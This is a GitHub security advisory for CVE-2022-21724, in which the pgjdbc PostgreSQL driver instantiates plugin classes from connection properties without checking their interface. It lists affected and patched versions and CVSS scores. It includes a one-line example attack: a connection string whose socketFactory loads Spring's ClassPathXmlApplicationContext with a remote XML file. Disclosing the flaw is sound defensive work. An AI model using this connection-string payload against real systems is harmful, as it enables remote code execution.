Skip to content

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

High severity GitHub Reviewed Published Feb 1, 2022 in pgjdbc/pgjdbc • Updated Jan 31, 2023

Package

maven org.postgresql:postgresql (Maven)

Affected versions

>= 9.4.1208, < 42.2.25
>= 42.3.0, < 42.3.2

Patched versions

42.2.25
42.3.2

Description

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

References

@davecramer davecramer published to pgjdbc/pgjdbc Feb 1, 2022
Reviewed Feb 1, 2022
Published to the GitHub Advisory Database Feb 2, 2022
Published by the National Vulnerability Database Feb 2, 2022
Last updated Jan 31, 2023

Severity

High
7.0
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2022-21724

GHSA ID

GHSA-v7wg-cpwc-24m4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.